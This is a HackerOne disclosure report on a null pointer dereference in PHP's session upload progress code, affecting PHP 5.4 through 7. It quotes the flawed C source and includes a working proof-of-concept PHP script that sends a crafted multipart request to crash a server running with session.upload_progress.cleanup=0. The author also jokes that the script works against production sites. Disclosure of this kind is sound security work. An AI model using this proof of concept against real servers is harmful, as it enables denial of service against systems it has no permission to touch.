Null Pointer Dereference in PHP Session Upload Progress

Disclosed: 2020-11-09 01:47:56 By ryat To ibb
Medium
Vulnerability Details
Affected Versions ------------ Affected is all of PHP5.4/5.5/5.6 Affected is all of PHP7 Credits ------------ This vulnerability was disclosed by Taoguang Chen. Description ------------ session.c ``` static int php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra) /* {{{ */ { ... switch(event) { case MULTIPART_EVENT_START: { multipart_event_start *data = (multipart_event_start *) event_data; progress = ecalloc(1, sizeof(php_session_rfc1867_progress)); <=== the progress was allocated and initialized with zeros. progress->content_length = data->content_length; progress->sname_len = strlen(PS(session_name)); PS(rfc1867_progress) = progress; } break; case MULTIPART_EVENT_FILE_START: { ... if (Z_ISUNDEF(progress->data)) { ... array_init(&progress->data); <=== if goto MULTIPART_EVENT_FILE_START, &progress->data will be initialized with array-type ZVAL. ... } ... } break; ... case MULTIPART_EVENT_END: { multipart_event_end *data = (multipart_event_end *) event_data; if (Z_TYPE(progress->sid) && progress->key.s) { if (PS(rfc1867_cleanup)) { php_session_rfc1867_cleanup(progress); } else { SEPARATE_ARRAY(&progress->data); <=== if skip MULTIPART_EVENT_FILE_START, the &progress->data will be uninitialized, and still zeros. add_assoc_bool_ex(&progress->data, "done", sizeof("done") - 1, 1); Z_LVAL_P(progress->post_bytes_processed) = data->post_bytes_processed; php_session_rfc1867_update(progress, 1); } php_rshutdown_session_globals(); } ``` When the session.upload_progress.cleanup INI option is disabled in php.ini with files upload fails, PHP will wrongly handles the upload progress data, then will be able to lead to use of null pointer. So attackers can exploit the issue to crash PHP remotely and don't need for any special PHP script code on the web server side. Proof of Concept Exploit ------------ The issue can be easily triggered when session.upload_progress.cleanup=0 in php.ini. For exmaple PHP built-in web server. /www/web/index.php ``` <?php //do whatever ?> ``` Running PHP built-in web server. ``` $php -S localhost:8000 -t /www/web/ -d session.upload_progress.cleanup=0 ``` poc.php ``` <?php $host = 'localhost'; $port = '8000'; $addr = '/index.php'; $type = 'multipart/form-data; boundary=---------------------------2020'; $data = <<<EOF -----------------------------2020 Content-Disposition: form-data; name="PHPSESSID" session-upload -----------------------------2020 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" ryat -----------------------------2020-- EOF; $message = "POST $addr HTTP/1.1\r\n"; $message .= "Content-Type: $type\r\n"; $message .= "Host: $host\r\n"; $message .= "Content-Length: ".strlen($data)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $data; $fp = fsockopen($host, $port); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) { $resp .= fread($fp, 1024); } var_dump($resp); ?> ``` Then executing the poc.php will trigger the issue, and crash the PHP built-in web server remotely. ``` $php poc.php ``` This poc.php can also be used to attack a production web environments with session.upload_progress.cleanup=0 in php.ini :-) ## Impact The issue can be triggered as of PHP 5.4 with the session.upload_progress.cleanup INI option is disabled, and don't need for any special PHP code on the server side. Attackers can exploit the issue to crash PHP remotely.
Actions
View on HackerOne
Report Stats
  • Report ID: 798744
  • State: Closed
  • Substate: resolved
  • Upvotes: 1
Share this report